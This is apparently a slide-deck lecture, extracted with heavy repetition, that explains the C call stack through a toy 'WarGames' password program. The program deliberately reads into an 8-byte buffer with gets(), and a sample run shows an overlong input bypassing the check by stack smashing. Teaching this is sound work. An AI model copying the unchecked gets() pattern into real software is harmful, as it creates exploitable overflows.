allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
$ ./launch
WarGames MissileLauncher v0.1
Secret: David
Access denied
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: Joshua
Access granted
Launching 2 missiles
Operation complete
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
C and C++ are languages that are mostly defined by
its behavior.The standards says very little about how
things should be implemented. Indeed, while it is
common to hear discussions about call stack when
talking about C and C++, it is worth noting that the
standards does not mention the concept at all.
We can learn a lot about C and C++ by
studying what happens when it executes. Here is
a detailed explanation about what actually
happened on my machine. Let's start from the
beginning...
What we just saw was an example of stack
buffer overflow, aka stack smashing.When
overwriting the response buffer we also
changed the memory location used by variable
allowaccess and n_missiles
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
high address
low address
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
high address
low address
The calling function has pushed the address of
its next instruction to be executed on the stack,
just before it made a jmp into main()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of
its next instruction to be executed on the stack,
just before it made a jmp into main()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of
its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering
main(), is that the current base pointer is
pushed on to the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of
its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering
main(), is that the current base pointer is
pushed on to the stack.
Then the base pointer and stack pointer is
changed so main() get's it's own activation
frame.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
main() is the entry point for the program.
At this point, a call stack has been
set up for us.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
The calling function has pushed the address of
its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering
main(), is that the current base pointer is
pushed on to the stack.
Then the base pointer and stack pointer is
changed so main() get's it's own activation
frame.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
pointer to string "WarGames..."
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
Then we push the return address, a memory
address pointing to the next instruction in
main()
pointer to string "WarGames..."
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
Then we push the return address, a memory
address pointing to the next instruction in
main()
pointer to string "WarGames..."
return address, next intruction in main
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
Then we push the return address, a memory
address pointing to the next instruction in
main()
pointer to string "WarGames..."
return address, next intruction in main
The puts() function will do whatever it needs
to do, just making sure that the base pointer is
restored before using the return address to
jump back to the next instruction in main()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
The first statement in main() is to call
puts() with a string.
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack,
this is the argument to puts()
Then we push the return address, a memory
address pointing to the next instruction in
main()
pointer to string "WarGames..."
return address, next intruction in main
The puts() function will do whatever it needs
to do, just making sure that the base pointer is
restored before using the return address to
jump back to the next instruction in main()
(whatever puts() needs to do)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
pointer to string "WarGames..."
return address, next intruction in main
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
pointer to string "WarGames..."
return address, next intruction in main
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling
authenticate_and_launch()
by pushing the return address of the next
statement to be executed in main() , and then
we jump into authenticate_and_launch()
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling
authenticate_and_launch()
by pushing the return address of the next
statement to be executed in main() , and then
we jump into authenticate_and_launch()
return address, next intruction in _main
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling
authenticate_and_launch()
by pushing the return address of the next
statement to be executed in main() , and then
we jump into authenticate_and_launch()
return address, next intruction in _main
The stack is restored and the next statement
will be executed.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Create a new stack frame, before allocating
space for the local variables on the stack.
return address, next intruction in _main
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Create a new stack frame, before allocating
space for the local variables on the stack.
return address, next intruction in _main
pointer to stack frame for _main
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Hey, wait a minute... should not
the stack variables be allocated in
correct order?
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
There is no "correct order" here. In this case,
the compiler is free to store objects of
automatic storage duration (the correct name
for "stack variables") in any order. Indeed, it can
keep all of them in registers or ignore them
completely as long as the external behavior of
the program is the same.
Hey, wait a minute... should not
the stack variables be allocated in
correct order?
Create a new stack frame, before allocating
space for the local variables on the stack.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _main
pointer to stack frame for _main
pointer to string "Secret: "
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _main
pointer to stack frame for _main
return address, authenticate_and_launch()
pointer to string "Secret: "
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _main
pointer to stack frame for _main
return address, authenticate_and_launch()
pointer to string "Secret: "
(whatever printf() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Then we call printf() with an argument.
return address, next intruction in _main
pointer to stack frame for _main
return address, authenticate_and_launch()
pointer to string "Secret: "
(whatever printf() needs to do)
After the prompt has been written to the
standard output stream.The stack is cleaned up
and we get ready to execute the next
statement.
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
return address, authenticate_and_launch()
pointer to string "Secret: "
(whatever printf() needs to do)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
